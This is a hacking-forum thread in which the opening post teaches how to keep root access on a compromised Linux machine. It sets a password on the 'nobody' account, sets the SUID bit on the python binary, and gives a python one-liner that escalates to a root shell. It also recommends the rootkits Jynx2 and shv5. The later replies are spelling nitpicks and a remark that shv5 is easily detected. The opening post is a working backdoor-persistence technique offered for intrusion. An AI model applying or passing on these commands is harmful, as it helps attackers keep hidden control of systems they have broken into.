Login Register
The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


Maintaining access once you've gotten root. filter_list
Author
Message
Maintaining access once you've gotten root. #1
Jynx2 and shv5 are quite good rootkits. Jynx2 is way better though.

So, there was a thread like 5 minutes ago talking bullshit.

Now, how to maintain root access once you've got in and managed to escalate privs with your local 0day exploiting some vulnerable suids, without a rootkit?

Easy, ever heard of Setuids, or suids? You will make that program run as root to a normal user (non-root).

So, the best way would be changing the password of a non-root user such as nobody, so just type:

passwd nobody, and set the password.

Then:

chmod u+s /usr/bin/python

This will set a suid bit on python.

When you log in to the box as nobody (non-root user), you should type:

python -c "z=__import__('os'); z.setuid(0); z.system('sh')"

uid=(0) around here, eh?

Reply

RE: Maintaining access once you've gotten root access #2
Please fix up the grammar and spelling. Seems like a decent tutorial though. Thanks.
Wavy baby

Reply

RE: Maintaining access once you've gotten root access #3
(03-04-2013, 11:14 PM)Cyber Caliph Wrote: Please fix up the grammar and spelling. Seems like a decent tutorial though. Thanks.

Sure, made a few mistakes because i was writting to fast. I hope i have fixed them all.

Reply

RE: Maintaining access once you've gotten root access #4
"escalate privs with your cero dia loca" Fix that and it should be good.
Wavy baby

Reply

RE: Maintaining access once you've gotten root access #5
(03-04-2013, 11:21 PM)Cyber Caliph Wrote: "escalate privs with your cero dia loca" Fix that and it should be good.

That is Spanish. Who doesn't understand Spanish?

Reply

RE: Maintaining access once you've gotten root access #6
(03-04-2013, 11:24 PM)r00tmaster Wrote:
(03-04-2013, 11:21 PM)Cyber Caliph Wrote: "escalate privs with your cero dia loca" Fix that and it should be good.

That is Spanish. Who doesn't understand Spanish?

Me :\
Wavy baby

Reply

RE: Maintaining access once you've gotten root access #7
(03-04-2013, 11:24 PM)r00tmaster Wrote:
(03-04-2013, 11:21 PM)Cyber Caliph Wrote: "escalate privs with your cero dia loca" Fix that and it should be good.

That is Spanish. Who doesn't understand Spanish?

I live in Canada. Here we learn French, not Spanish.

Reply

RE: Maintaining access once you've gotten root. #8
Oh god shv5 is far from a good rootkit. Why would you recommend that?
Shv5 is easily found with pretty much any rootkit hunter out there.
[Image: c3b49a2498146aaf6938bc6961edb025.png]

Reply







Users browsing this thread: 1 Guest(s)